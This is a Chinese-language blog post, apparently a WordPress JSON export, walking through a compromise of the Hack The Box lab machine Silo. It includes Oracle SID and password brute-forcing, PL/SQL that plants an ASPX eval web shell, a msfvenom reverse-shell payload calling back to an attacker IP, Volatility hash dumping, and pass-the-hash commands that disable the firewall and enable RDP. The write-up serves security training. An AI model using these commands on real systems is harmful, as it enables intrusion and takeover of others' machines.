{"id":179,"date":"2024-11-13T10:53:45","date_gmt":"2024-11-13T02:53:45","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=179"},"modified":"2024-11-13T10:53:46","modified_gmt":"2024-11-13T02:53:46","slug":"179","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/179\/","title":{"rendered":"HTB\u9776\u673a Silo \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.82<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.10.10.82 (10.10.10.82) 56(84) bytes of data.\n64 bytes from 10.10.10.82: icmp_seq=1 ttl=127 time=99.8 ms\n64 bytes from 10.10.10.82: icmp_seq=2 ttl=127 time=152 ms\n64 bytes from 10.10.10.82: icmp_seq=3 ttl=127 time=98.3 ms\n64 bytes from 10.10.10.82: icmp_seq=4 ttl=127 time=97.3 ms\n\n--- 10.10.10.82 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3295ms\nrtt min\/avg\/max\/mdev = 97.342\/111.744\/151.529\/22.985 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u901a\u4fe1\u72b6\u6001\u826f\u597d\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Oct  6 10:15:53 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.82\nNmap scan report for 10.10.10.82\nHost is up (0.097s latency).\nAll 65535 scanned ports on 10.10.10.82 are in ignored states.\nNot shown: 65535 closed tcp ports (reset)\n\n# Nmap done at Sun Oct  6 10:16:36 2024 -- 1 IP address (1 host up) scanned in 43.66 seconds<\/code><\/pre>\n<p>\u65e0\u6cd5\u786e\u5b9a\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Oct  6 10:21:40 2024 as: nmap -sS -sV -A -p- --min-rate 2000 -oN .\/tcp_result.txt 10.10.10.82\nNmap scan report for 10.10.10.82\nHost is up (0.099s latency).\nNot shown: 65201 closed tcp ports (reset), 320 filtered tcp ports (no-response)\nPORT      STATE SERVICE      VERSION\n80\/tcp    open  http         Microsoft IIS httpd 8.5\n| http-methods: \n|_  Potentially risky methods: TRACE\n|_http-title: IIS Windows Server\n|_http-server-header: Microsoft-IIS\/8.5\n135\/tcp   open  msrpc        Microsoft Windows RPC\n139\/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn\n445\/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds\n1521\/tcp  open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)\n5985\/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n|_http-title: Not Found\n47001\/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n|_http-title: Not Found\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n49152\/tcp open  msrpc        Microsoft Windows RPC\n49153\/tcp open  msrpc        Microsoft Windows RPC\n49154\/tcp open  msrpc        Microsoft Windows RPC\n49159\/tcp open  oracle-tns   Oracle TNS listener (requires service name)\n49160\/tcp open  msrpc        Microsoft Windows RPC\n49161\/tcp open  msrpc        Microsoft Windows RPC\n49162\/tcp open  msrpc        Microsoft Windows RPC\nNo exact OS matches for host (If you know what OS is running on it, see https:\/\/nmap.org\/submit\/ ).\nTCP\/IP fingerprint:\nOS:SCAN(V=7.94SVN%E=4%D=10\/6%OT=80%CT=1%CU=41776%PV=Y%DS=2%DC=T%G=Y%TM=6701\nOS:F4FE%P=x86_64-pc-linux-gnu)SEQ()SEQ(SP=106%GCD=1%ISR=10D%TI=I%CI=I%II=I%\nOS:SS=S%TS=7)SEQ(SP=106%GCD=1%ISR=10D%TI=RD%CI=RD)OPS(O1=M53CNW8ST11%O2=M53\nOS:CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW8ST11%O5=M53CNW8ST11%O6=M53CST11)WIN(W\nOS:1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=N)ECN(R=Y%DF=Y%T=80\nOS:%W=2000%O=M53CNW8NNS%CC=Y%Q=)T1(R=N)T1(R=Y%DF=Y%T=80%S=O%A=O%F=AS%RD=0%Q\nOS:=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T2(R=Y%DF=Y%T=80%W=0%S=Z\nOS:%A=O%F=AR%O=%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=N\nOS:)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=N)T4(R=Y%DF=Y%T=80%W=\nOS:0%S=A%A=O%F=R%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=O%A=O%F=R%O=%RD=0%Q=)T5(\nOS:R=N)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=\nOS:Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q\nOS:=)T6(R=Y%DF=Y%T=80%W=0%S=O%A=O%F=R%O=%RD=0%Q=)T7(R=N)T7(R=Y%DF=Y%T=80%W=\nOS:0%S=Z%A=O%F=AR%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)\nOS:U1(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)I\nOS:E(R=N)IE(R=Y%DFI=N%T=80%CD=Z)\n\nNetwork Distance: 2 hops\nService Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:\/o:microsoft:windows\n\nHost script results:\n| smb-security-mode: \n|   authentication_level: user\n|   challenge_response: supported\n|_  message_signing: supported\n| smb2-security-mode: \n|   3:0:2: \n|_    Message signing enabled but not required\n|_clock-skew: mean: -11m23s, deviation: 0s, median: -11m23s\n| smb2-time: \n|   date: 2024-10-06T02:13:32\n|_  start_date: 2024-10-06T01:58:57\n\nTRACEROUTE (using port 143\/tcp)\nHOP RTT      ADDRESS\n1   96.60 ms 10.10.14.1\n2   97.79 ms 10.10.10.82\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Oct  6 10:25:02 2024 -- 1 IP address (1 host up) scanned in 202.30 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Oct  6 10:29:44 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.82\nWarning: 10.10.10.82 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.82\nHost is up (0.10s latency).\nAll 65535 scanned ports on 10.10.10.82 are in ignored states.\nNot shown: 65187 open|filtered udp ports (no-response), 348 closed udp ports (port-unreach)\n\n# Nmap done at Sun Oct  6 10:35:45 2024 -- 1 IP address (1 host up) scanned in 361.01 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u5f88\u53ef\u80fd\u4e3a<code>Windows Server 2008 R2<\/code>\uff0c\u4ee5\u53ca\u4e00\u4e2a\u5177\u6709\u6570\u636e\u6295\u6bd2\u7684<code>Oracle TNS Listener<\/code>\u88ab\u5b89\u88c5\u5e76\u8fd0\u884c\u5728\u9776\u673a\u4e0a\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/silo.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728261205890-f2fc9cfa-cd0b-430b-9a71-a298eb1a4db1.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u4e3a\u9ed8\u8ba4\u9875\u9762\uff0c\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff0c\u4f46\u672a\u626b\u63cf\u5230\u4efb\u4f55\u6709\u6548\u4fe1\u606f\u3002<\/p>\n<h2>Oracle TNS Listener\u670d\u52a1\uff081521\u7aef\u53e3\uff09<\/h2>\n<p>\u6839\u636e<code>Nmap<\/code>\u626b\u63cf\u7ed3\u679c\u4e2d\u663e\u793a\u7684<code>Oracle<\/code>\u6570\u636e\u5e93\u7248\u672c\uff0c\u8054\u7f51\u67e5\u627e\u6f0f\u6d1e\uff0c\u53d1\u73b0\u8be5\u7248\u672c<code>Oracle<\/code>\u6570\u636e\u5e93\u5b58\u5728\u6570\u636e\u6295\u6bd2\u6f0f\u6d1e\uff0c\u7f16\u53f7\u4e3a<code>CVE-2012-1675<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728263238226-3fcc7e0d-a797-48d0-adee-3689e5516c6d.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>Oracle SID\u7206\u7834<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>MSF<\/code>\u6a21\u5757<code>auxiliary\/admin\/oracle\/sid_brute<\/code>\u6a21\u5757\u5bf9\u76ee\u6807<code>Oracle<\/code>\u6570\u636e\u5e93\u8fdb\u884c<code>SID<\/code>\u66b4\u529b\u7834\u89e3\uff1a<\/p>\n<pre><code class=\"language-shell\">use auxiliary\/admin\/oracle\/sid_brute\nset RHOSTS 10.10.10.82\nrun<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728264861884-b14612db-c77a-4ba3-aaf9-ba9df22d4d78.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0<code>3<\/code>\u4e2a<code>SID<\/code>\uff1a<\/p>\n<ul>\n<li><code>XE<\/code><\/li>\n<li><code>PLSExtProc<\/code><\/li>\n<li><code>CLRExtProc<\/code><\/li>\n<\/ul>\n<p>\u63a5\u4e0b\u6765\u5229\u7528\u4ee5\u4e0a<code>SID<\/code>\u5bf9\u6570\u636e\u5e93\u7684\u767b\u5f55\u51ed\u636e\u8fdb\u884c\u7206\u7834\u3002<\/p>\n<h2>Oracle\u767b\u5f55\u51ed\u636e\u7206\u7834<\/h2>\n<p>\u5728<code>Oracle SID<\/code>\u7684\u7206\u7834\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u5df2\u7ecf\u83b7\u5f97\u4e86<code>3<\/code>\u4e2a<code>SID<\/code>\uff0c\u73b0\u5728\u9700\u8981\u6839\u636e<code>SID<\/code>\u7206\u7834\u6570\u636e\u5e93\u7684\u8d26\u53f7\u5bc6\u7801\u3002\u4f7f\u7528<code>ODAT<\/code>\u7684<code>passwordguesser<\/code>\u529f\u80fd\u8fdb\u884c\u7206\u7834\uff08\u9996\u5148\u7206\u7834<code>XE<\/code>\uff09\uff1a<\/p>\n<pre><code class=\"language-shell\">odat passwordguesser -s 10.10.10.82 -p 1521 -d XE<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728270933992-f4e163fd-3528-44c5-a53a-4db66cfd2d7b.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u627e\u5230\u4ee5\u4e0b<code>Oracle<\/code>\u767b\u5f55\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>scott<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>tiger<\/code><\/li>\n<\/ul>\n<p><strong>\uff08\u5c06\u7528\u6237\u7c7b\u578b\u8bbe\u7f6e\u4e3a<\/strong><code>**SYSDBA**<\/code><strong>\uff09<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728350633241-2a23da55-d547-4bdb-8232-bc3d91ae20ff.png\" alt=\"\" \/><\/p>\n<p><strong>\u767b\u5f55\u6210\u529f\uff01<\/strong><\/p>\n<h2>Oracle\u5199\u5165\u7f51\u9875\u6728\u9a6c<\/h2>\n<p>\u767b\u5f55<code>Oracle<\/code>\u540e\uff0c\u53ef\u4ee5\u5229\u7528\u5176\u5411\u64cd\u4f5c\u7cfb\u7edf\u6307\u5b9a\u76ee\u5f55\u5199\u5165<code>WebShell<\/code>\u6587\u4ef6\uff0c\u800c\u521b\u5efa\u5199\u5165\u6587\u4ef6\u7684\u5b58\u50a8\u8fc7\u7a0b\u9700\u8981\u4f7f\u7528<code>utl_file<\/code>\u5de5\u5177\u5305\u3002\u653b\u51fb\u8005\u9996\u5148\u9700\u8981\u521b\u5efa\u4e00\u4e2a\u76ee\u5f55\u5bf9\u8c61\u5e76\u8d4b\u4e88\u5176\u8bfb\u5199\u6743\u9650\uff0c\u968f\u540e\u4f7f\u7528<code>utl_file.file_type<\/code>\u4e2d\u7684<code>put_line()<\/code>\u3001<code>fflush()<\/code>\u548c<code>fclose()<\/code>\u4e09\u79cd\u65b9\u6cd5\u8fdb\u884c\u6587\u4ef6\u5199\u5165\u3002<code>SQL<\/code>\u8bed\u53e5\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-plsql\">CREATE OR REPLACE DIRECTORY IST0_DIR AS 'C:Inetpubwwwroot';\nGRANT READ,WRITE ON DIRECTORY IST0_DIR TO SYSTEM;\nDECLARE\n  isto_file utl_file.file_type;\nBEGIN\n  isto_file := utl_file.fopen('IST0_DIR','shell.aspx','W');\n  utl_file.put_line(isto_file,'&lt;%@ Page Language=\"Jscript\"%&gt;&lt;%eval(Request.Item[\"cmd\"],\"unsafe\");%&gt;');\n  utl_file.fflush(isto_file);\n  utl_file.fclose(isto_file);\nEND;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728351984525-e7a42b3c-630e-4318-a960-97952921170f.png\" alt=\"\" \/><\/p>\n<p><code>SQL<\/code>\u6267\u884c\u6210\u529f\uff01\u6253\u5f00\u4e2d\u56fd\u8681\u5251\u5de5\u5177\u8fdb\u884c\u8fde\u63a5\u6d4b\u8bd5\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728352103227-d89252ed-255b-4b53-9155-54f1b3a1ea80.png\" alt=\"\" \/><\/p>\n<p>\u8fde\u63a5\u6210\u529f\uff01\u63a5\u4e0b\u6765\u4f7f\u7528<code>msfvenom<\/code>\u751f\u6210\u53cd\u5f39Shell\u6728\u9a6c\uff1a<\/p>\n<pre><code class=\"language-shell\">msfvenom -p windows\/x64\/powershell_reverse_tcp LHOST=10.10.14.8 LPORT=443 -f exe -o reverse.exe<\/code><\/pre>\n<p>\u7136\u540e\u5c06\u8be5\u6728\u9a6c\u901a\u8fc7\u8681\u5251\u6587\u4ef6\u7ba1\u7406\u5668\u8fdb\u884c\u4e0a\u4f20\uff0c\u5b8c\u6210\u540e\u5728\u672c\u5730\u5f00\u542f\u76d1\u542c\uff0c\u5e76\u8fdb\u5165\u865a\u62df\u7ec8\u7aef\u6267\u884c\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-shell\">C:UsersPublicreverse.exe<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728353057222-9fe23f56-98a8-476d-a71f-5bf7826e7260.png\" alt=\"\" \/><\/p>\n<p><strong>\u53cd\u5f39Shell\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u5185\u6838\u6f0f\u6d1e\u67e5\u8be2<\/h2>\n<p>\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u4fdd\u5b58\u7cfb\u7edf\u8be6\u7ec6\u4fe1\u606f\u5230\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-powershell\">systeminfo &gt; .sysinfo.txt<\/code><\/pre>\n<p>\u968f\u540e\u4f7f\u7528<code>SMB<\/code>\u8fde\u63a5\u5c06\u5176\u4e0b\u8f7d\u5230\u672c\u5730\uff1a<\/p>\n<pre><code class=\"language-powershell\">net use z: \\10.10.14.8pentest_notessilo ********* \/user:megumin\ncopy .sysinfo.txt Z:sysinfo.txt<\/code><\/pre>\n<p>\u4f7f\u7528<code>Windows Exploit Suggester 2<\/code>\u5de5\u5177\u8fdb\u884c\u6f0f\u6d1e\u67e5\u8be2\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728355234294-5f3a4c3b-50ee-4505-8292-8609ee1c6cb5.png\" alt=\"\" \/><\/p>\n<h2>\u53d1\u73b0\u63d0\u793a\u6587\u4ef6<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u4e4b\u540e\uff0c\u4f7f\u7528\u8681\u5251\u6587\u4ef6\u6d4f\u89c8\u5668\u7ffb\u770b\u7528\u6237\u76ee\u5f55<code>C:Users<\/code>\uff0c\u5728\u76ee\u5f55<code>C:UsersPhineasDesktop<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0\u4e86\u540d\u4e3a<code>Oracle issue.txt<\/code>\u7684\u6587\u4ef6\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728362322357-36e4632c-d398-4421-9706-c815ee226869.png\" alt=\"\" \/><\/p>\n<p>\u6587\u4ef6\u7ed9\u51fa\u4e86\u4e00\u4efd\u7f51\u76d8\u5171\u4eab\u7684\u8bbf\u95ee\u65b9\u5f0f\uff1a<\/p>\n<ul>\n<li>\u7f51\u5740\uff1a<code>[https:\/\/www.dropbox.com\/sh\/69skryzfszb7elq\/AADZnQEbbqDoIf5L2d0PBxENa?dl=0](https:\/\/www.dropbox.com\/sh\/69skryzfszb7elq\/AADZnQEbbqDoIf5L2d0PBxENa?dl=0)<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>\u00a3%Hm8646uC$<\/code><\/li>\n<\/ul>\n<p>\u5c1d\u8bd5\u6253\u5f00\uff0c\u53d1\u73b0\u6709\u4e00\u4e2a\u538b\u7f29\u5305\uff0c\u538b\u7f29\u5305\u5185\u662f\u4e00\u4efd<code>DMP<\/code>\u5185\u5b58\u8f6c\u50a8\u6587\u4ef6\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728362463532-05b1b42f-975d-4f1b-98cb-b18dd909adaf.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u5c06\u5176\u4e0b\u8f7d\u5230\u672c\u5730\uff0c\u89e3\u538b\u540e\u4f7f\u7528<code>Volatility<\/code>\u5185\u5b58\u53d6\u8bc1\u5de5\u5177\u8fdb\u884c\u5206\u6790\u3002<\/p>\n<h2>DMP\u6587\u4ef6\u53d6\u8bc1<\/h2>\n<p>\u9996\u5148\u4f7f\u7528<code>Volatility<\/code>\u5de5\u5177\u7684<code>kdbgscan<\/code>\u6a21\u5757\u83b7\u53d6\u5185\u5b58\u8f6c\u50a8\u6587\u4ef6\u5bf9\u5e94\u7684\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\u548c\u4e00\u4e9b\u57fa\u672c\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-shell\">vol.py -f .\/win_images\/SILO-20180105-221806.dmp kdbgscan<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728364274899-ef8377b5-c4d1-4520-823d-6247292b7ab3.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u8be5\u8f6c\u50a8\u6587\u4ef6\u7684\u7248\u672c\u4e3a<code>Win2012R2x64<\/code>\u3002\u63a5\u4e0b\u6765\u5c1d\u8bd5\u4f7f\u7528<code>hashdump<\/code>\u6a21\u5757\u83b7\u53d6\u955c\u50cf\u5185\u7528\u6237\u5bc6\u7801\u7684\u54c8\u5e0c\u503c\uff1a<\/p>\n<pre><code class=\"language-shell\">vol.py -f .\/win_images\/SILO-20180105-221806.dmp --profile=Win2012R2x64 hashdump<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728364708704-88eed3eb-53da-4bac-8f24-483b64d7bd6b.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u53d6\u955c\u50cf\u5185<code>Administrator<\/code>\u7528\u6237\u7684<code>Hash<\/code>\u503c\uff1a<code>aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7<\/code>\u3002<\/p>\n<h2>PTH\u653b\u51fb<\/h2>\n<p>\u9274\u4e8e\u9776\u673a\u5f00\u653e\u4e86<code>Windows SMB<\/code>\u670d\u52a1\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528<code>crackmapexec<\/code>\u5de5\u5177\u5c06\u8be5<code>Hash<\/code>\u503c\u4f20\u9012\u7ed9\u9776\u673a\uff0c\u8fdb\u800c\u6267\u884c\u547d\u4ee4\u3002\u9996\u5148\u8fdb\u884c\u6d4b\u8bd5\uff1a<\/p>\n<pre><code class=\"language-shell\">crackmapexec smb 10.10.10.82 -u Administrator -H \"aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7\" -x \"whoami\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728365754238-56d4e4f0-cc99-40f7-8e96-c09ccdec73a7.png\" alt=\"\" \/><\/p>\n<p>\u7cfb\u7edf\u767b\u5f55\u6210\u529f\uff01\u63a5\u4e0b\u6765\u76f4\u63a5\u4fee\u6539<code>Administrator<\/code>\u7528\u6237\u5bc6\u7801\u3001\u5173\u95ed\u9632\u706b\u5899\u5e76\u6253\u5f00<code>RDP<\/code>\u670d\u52a1\uff1a<\/p>\n<pre><code class=\"language-shell\">crackmapexec smb 10.10.10.82 -u Administrator -H \"aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7\" -x \"net user Administrator Asd310056\"\ncrackmapexec smb 10.10.10.82 -u Administrator -p \"Asd310056\" -x \"netsh advfirewall set allprofiles state off\"\ncrackmapexec smb 10.10.10.82 -u Administrator -p \"Asd310056\" -x \"wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728366074213-a5079f1e-cd74-4026-a599-e42ad9170b88.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u4f7f\u7528<code>Reminna<\/code>\u8fde\u63a5\u8fdc\u7a0b\u684c\u9762\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728366410463-5278f5c0-4cce-4582-b0be-eee4d8f23fbf.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.82 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.10.10.82 (10.10.10.82)  &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,13],"tags":[],"class_list":["post-179","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-windows_machine"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/179","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=179"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/179\/revisions"}],"predecessor-version":[{"id":180,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/179\/revisions\/180"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=179"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=179"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=179"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}